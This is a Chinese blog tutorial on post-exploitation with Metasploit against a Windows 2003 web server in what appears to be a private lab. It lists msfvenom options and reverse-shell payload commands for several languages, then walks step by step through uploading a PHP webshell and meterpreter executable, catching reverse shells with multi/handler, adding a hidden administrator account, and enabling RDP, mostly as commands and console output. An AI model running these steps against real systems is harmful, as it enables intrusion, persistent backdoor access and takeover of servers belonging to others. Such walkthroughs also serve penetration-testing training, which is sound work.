当我们在进行web渗透测试的时候,拿到了webshell,但是在执行net user、whoami、类似的命令会发现怎么好像用不了,没有回显,权限不够,这可怎么办呐?

测试环境:

  • 内网,没钱买服务器,而且还拿不到站,尴尬的事情
  • 攻击者:parrotos 这个系统跟kali差不多
  • 服务器:windows2003

那么,我们现在先来看看使用msfvenom如何生成payload

msfvenom

这个是一个什么东西就不用说了吧,玩过metasploit的都知道(表示我还是一个新手!!!),当然没玩过的自行谷歌,已经很多大佬跟我说过这个是渗透测试最基本的东西

在freebuf上面看到msfvenom命令行选项的中文翻译,我直接搬过来了,不犯法吧,哈哈哈!!!

msfvenom命令行选项

Options:

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
  1. -p, --payload <payload> 指定需要使用的payload(攻击载荷)。如果需要使用自定义的payload,请使用'-'或者stdin指定
    -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled <length> payload预先指定一个NOP滑动长度
    -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder [encoder] 指定需要使用的encoder(编码器)
    -a, --arch <architecture> 指定payload的目标架构
    --platform <platform> 指定payload的目标平台
    -s, --space <length> 设定有效攻击载荷的最大长度
    -b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
    -i, --iterations <count> 指定payload的编码次数
    -c, --add-code <path> 指定一个附加的win32 shellcode文件
    -x, --template <path> 指定一个自定义的可执行文件作为模板
    -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
    --payload-options 列举payload的标准选项
    -o, --out <path> 保存payload
    -v, --var-name <name> 指定一个自定义的变量,以确定输出格式
    --shellest 最小化生成payload
    -h, --help 查看帮助选项
    --help-formats 查看msf支持的输出格式列表

生成payload

生成payload,有有两个必须的选项:-p -f
使用-p 来指定要使用的payload。
可以使用下面的命令来查看所有msf可用的payload列表

  1. 1
  1. ./msfvenom -l payloads

-p选项也支持使用使用自定义的payload,需要使用 “-“,比如:

  1. 1
  1. cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

使用-f 来指定payload的输出格式
举例:

  1. 1
  1. ./msfvenom -p windows/meterpreter/bind_tcp -f exe

使用下面的命令,可以产看msf支持的输出格式

  1. 1
  1. ./msfvenom --help-formats

一个典型的msfvenom使用举例如下:

  1. 1
  1. $ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

使用自定义可执行文件模板

默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:

  1. 1
  1. ./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。
注意:如果你想要创建一个windows的x64的可执行文件模板来生成一个x64的payload,你只能使用exe格式的模板。
使用-x选项经常和-k选项配合使用,-k选项会将你的payload作为一个新的进程运行。但目前这个选项只支持老版本的windows系统比如windows xp


MSF Payloads

生成攻击载荷

Linux下反弹Meterpreter shell

  1. 1
  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a x86 --platform linux -o shell

C反弹shell(C shellcode)

  1. 1
  1. msfvenom -p windows/shell_reverse_tcp LHOST=<your IP Address> LPORT=<your port to connect on> -b "\x00\x0a\x0d" -a x86 --platform win -f c

Python反弹shell

  1. 1
  1. msfvenom -p cmd/unix/reverse_python LHOST=<your IP Address> LPORT=<your port to connect on> -o shell.py

Asp反弹shell

  1. 1
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

Bash反弹shell

  1. 1
  1. msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

PHP反弹shell

  1. 1
  1. msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php

Windows反弹shell

  1. 1
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

上面是一些msfvenom可以生成的攻击载荷

因为我们的需要提权网站是php的,所以就需要生成php载荷


开始我们的表演

接下来全是一些瞎操作

将php大马上传到服务器
我这里已经上传成功了
但是执行whomai,net user命令没有回显,那证明权限不够,所以我们拿着msf来提权

接着
打开parrotos系统,这个系统叫做“鹦鹉”,跟kali差不多,感兴趣的自行谷歌
执行命令生成攻击载荷:

  1. 1
  1. msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=3333 -f raw -o shell.php


shell.php这个载荷已经生成好了,生成好了的文件在当前目录,现在我们将它上传到服务器

已经成功上传,当然,光这样是不够的,现在切换到parrotos虚拟机系统
我们需要去执行一些漏洞利用模块
在命令行窗口输入msfconsole就可以进入metasploit了

  1. 1
    2
    3
    4
    5
    6
    7
    8
  1. ┌─[root@parrot]─[~]
    └──╼ # msfconsole //输入这条命令
    msf > use exploit/multi/handler
    msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp //设置payload
    msf exploit(multi/handler) > show options //显示选项
    msf exploit(multi/handler) > set LHOST 192.168.32.129 //设置ip地址,注意,这个要与上面攻击载荷里面的相同
    msf exploit(multi/handler) > set LPORT 3333 //设置端口,这个也要相同
    msf exploit(multi/handler) > exploit //执行攻击



现在parrotos系统这边正在监听中,我们现在只需要去执行我们上传的php文件,在任意系统中打开那个shell.php网页即可触发

看到 meterpreter> 就已经反弹了一个shell了,接着输入直接输入getuid

  1. 1
    2
    3
  1. meterpreter > getuid
    Server username: Administrator (0) //看到这个地方是administrator就成功了,我们已经有了超级管理员权限了
    meterpreter >

直接输入shell可以进入bash终端

  1. 1
    2
    3
    4
    5
    6
    7
  1. meterpreter > shell
    Process 660 created.
    Channel 0 created.
    Microsoft Windows [�汾 5.2.3790]
    (C) ��Ȩ���� 1985-2003 Microsoft Corp.
  2.  
  3. C:\phpStudy\WWW\webpentest\varcov>

记录这个位置C:\phpStudy\WWW\webpentest\varcov>
没搞懂为什么在输入shell后执行net user类似的命令为什么会断开连接,有哪位大佬看到是否可以帮忙解释一下

  1. 1
    2
    3
    4
  1. Terminate channel 0? [y/N] y
    [-] Error running command shell: Rex::TimeoutError Operation timed out.
    meterpreter >
    [*] 192.168.32.143 - Meterpreter session 2 closed. Reason: Died

看到上面出问题了,难道没戏了吗,当然不是了,meterpreter>那个界面的功能已经够我们用了

由于我的php大马支持cmd命令执行,果断的从新生成了一个exe文件,上传到服务器

  1. 1
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=4444 -f exe -a x86 --platform win -o shell.exe

生成了shell.exe,现在试着用其他方法上传到服务器,我们在执行一次php文件,然后parrotos系统这边又监听到了一个会话,直接连接进去
接着直接upload上传文件即可

  1. 1
    2
    3
    4
    5
    6
    7
    8
  1. [*] Started reverse TCP handler on 192.168.32.129:3333
    [*] Sending stage (37543 bytes) to 192.168.32.143
    [*] Meterpreter session 4 opened (192.168.32.129:3333 -> 192.168.32.143:1096) at 2018-04-20 21:18:56 +0800 //重新连接成功
  2.  
  3. meterpreter > upload shell.exe C:\\phpStudy\\WWW\\webpentest\\varcov\ //这个位置上面已经说到过,上传到这个位置即可
    [*] uploading : shell.exe -> C:\phpStudy\WWW\webpentest\varcov\
    [*] uploaded : shell.exe -> C:\phpStudy\WWW\webpentest\varcov\\shell.exe
    meterpreter >

ok,上传成功,因为生成的exe文件是用的一个新端口,并且payload是windows/meterpereter/reverse_tcp
,所以返回重新设置即可

  1. 1
    2
    3
    4
    5
  1. msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(multi/handler) > set lport 4444
    lport => 4444
    msf exploit(multi/handler) > exploit //执行

完成上面操作后,来到php大马在命令执行中写入路径即可
C:\phpStudy\WWW\webpentest\varcov\shell.exe
由于是windows系统,所以注意斜杠问题,windows的是反斜杠”\”

接着提权:

  1. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
  1. meterpreter > getuid
    Server username: AA-C86AD57B48D6\Administrator //看到这个位置的administrator跟上面php得的不一样,感觉那个可能是一个假的权限
    meterpreter > shell //进入bash终端
    Process 3300 created.
    Channel 1 created.
    Microsoft Windows [�汾 5.2.3790]
    (C) ��Ȩ���� 1985-2003 Microsoft Corp.
  2.  
  3. C:\phpStudy\WWW\webpentest\varcov>net user //执行net user命令没有发现admin用户
    net user
    \\AA-C86AD57B48D6 ���û��ʻ�
    -------------------------------------------------------------------------------
    Administrator ASPNET Guest
    IUSR_AA-C86AD57B48D6 IWAM_AA-C86AD57B48D6 SUPPORT_388945a0
    �����ɹ����ɡ�
  4.  
  5. C:\phpStudy\WWW\webpentest\varcov>net user admin admin /add //创建一个admin用户
    net user admin admin /add
    �����ɹ����ɡ�
  6.  
  7. C:\phpStudy\WWW\webpentest\varcov>net localgroup administrators admin /add //提权
    net localgroup administrators admin /add
    �����ɹ����ɡ�
  8.  
  9. C:\phpStudy\WWW\webpentest\varcov>net user admin //admin用户的信息
    net user admin
    �û��� admin
    此处省略
    ��������Ա *Administrators *Users //看到这个地方有Administrator用户组就成功了
  10.  
  11. C:\phpStudy\WWW\webpentest\varcov>exit //退出bash终端
    exit
    //权限有了,3389没开,我直接用这个开吧!!!
    meterpreter > run getgui -e //开启3389端口
  12.  
  13. [!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
    [!] Example: run post/windows/manage/enable_rdp OPTION=value [...]
    [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
    [*] Carlos Perez carlos_perez@darkoperator.com
    [*] Enabling Remote Desktop
    [*] RDP is disabled; enabling it ...
    [*] Setting Terminal Services service startup mode
    [*] The Terminal Services service is not set to auto, changing it to auto ...
    [*] Opening port in local firewall if necessary
    [*] For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts/getgui/clean_up__20180420.5422.rc
    meterpreter >

3389端口也已经开启了,接下来拿我们的win10去连接即可

大概就这么多了吧,下次有时间写一个metasploit的使用,这个框架还是比较牛逼的

网站提权之MSF骚操作的更多相关文章

  1. Windows提权小结

    摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...

  2. Java实现平滑加权轮询算法--降权和提权

    上一篇讲了普通轮询.加权轮询的两种实现方式,重点讲了平滑加权轮询算法,并在文末留下了悬念:节点出现分配失败时降低有效权重值:成功时提高有效权重值(但不能大于weight值). 本文在平滑加权轮询算法的 ...

  3. 网站sqlserver提权操作

    在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结 *************************** 利用xp_cmdshell **************** ...

  4. soap注入某sql2008服务器结合msf进行提权

    原文作者:陈小兵 在实际成功渗透过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次渗透利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提 ...

  5. msf客户端渗透(三):提权、图形化payload

    对普通权限session提权 生成一个木马 开启Apache服务 将木马上传网页 被攻击者从这个网页上获取到这个木马 攻击者开启msf侦听 当被攻击者双击这个木马文件时 攻击者就获取到一个sessio ...

  6. msf提权基础(一)

    令牌(token)相当于系统的临时密钥(账号及密码) 加载incognito模块 meterpreter> use incognito meterpreter > list_tokens ...

  7. 修复网站漏洞对phpmyadmin防止被入侵提权的解决办法

    phpmyadmin是很多网站用来管理数据库的一个系统,尤其是mysql数据库管理的较多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都会导致mysql的数据账号密码被泄露,那么如 ...

  8. 齐博cms最新SQL注入网站漏洞 可远程执行代码提权

    齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysq ...

  9. 提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享

    先罗列出sql server 角色用户的权限 按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:1.bulkadmin:这个角色可以运行BULK INSERT语 ...

随机推荐

  1. 编码,基础数据类型 int str bool,for循环

    一.编码: ASCII: 8位  1个字节  其实是7位,首位全部是0,创造者留出一位,以便后续使用; gdk :    16位 2个字节 国标码 只能识别汉语和英语 英语:8位 1个字节    汉语 ...

  2. Apsara Clouder云计算专项技能认证:云服务器基础运维与管理

    一.三个理由拥抱云服务器 1.课程目标 如何拥有一台属于自己的ECS 出现一些问题的时候,对这台云服务器进行很好的管理 如何保证一台云服务出现问题的时候提前进行防范 2.云服务的定义 云服务器(Ela ...

  3. [HNOI2019]鱼(计算几何)

    看到数据范围n<=1000,但感觉用O(n^2)不现实,所以考虑方向应该是O(n^2logn). 一种暴力做法:用vector存到1点相同的2点和到2点相同的1点,然后枚举A,枚举BC,再枚举D ...

  4. UUID与时间戳

    /** * 32位去除'-'的UUID */ public static String getUUID() { String uuid = java.util.UUID.randomUUID().to ...

  5. C2. Power Transmission (Hard Edition)(线段相交)

    This problem is same as the previous one, but has larger constraints. It was a Sunday morning when t ...

  6. AttributeError: 'bytes' object has no attribute 'hex'

    python3.5之前bytes数据没有hex()属性 需要使用 ''.join(map(lambda x:('' if len(hex(x))>=4 else '/x0')+hex(x)[2: ...

  7. Office 365管理中心门户

    一.使用Office 365管理员账户登陆到由世纪互联运营的Office 365 登陆地址 https://portal.partner.microsoftonline.cn 1.登陆完成后,选择左上 ...

  8. GIL锁和进程/线程池

    GIL锁 1.GIL锁 全局解释器锁,就是一个把互斥锁,将并发变成串行,同一时刻只能有一个线程使用共享资源,牺牲效率,保证数据安全,也让程序员避免自己一个个加锁,减轻开发负担 带来的问题 感觉单核处理 ...

  9. 高可用(keepalived+lvs)

    博主本人平和谦逊,热爱学习,读者阅读过程中发现错误的地方,请帮忙指出,感激不尽 架构图: 本次实验严格按照下图完成 1.系统环境设置 1.1SELinux设置 vim /etc/selinux/con ...

  10. 堆优DIJ模板

    Dij:贪心思想的单源最短路,时间复杂度O(n^2). Dij算法流程: d数组记录源点s到每个点的距离,若无边则设为inf,标记源点: 选出d数组中未标记的最小值,该节点记为k,并标记k为已求出最短 ...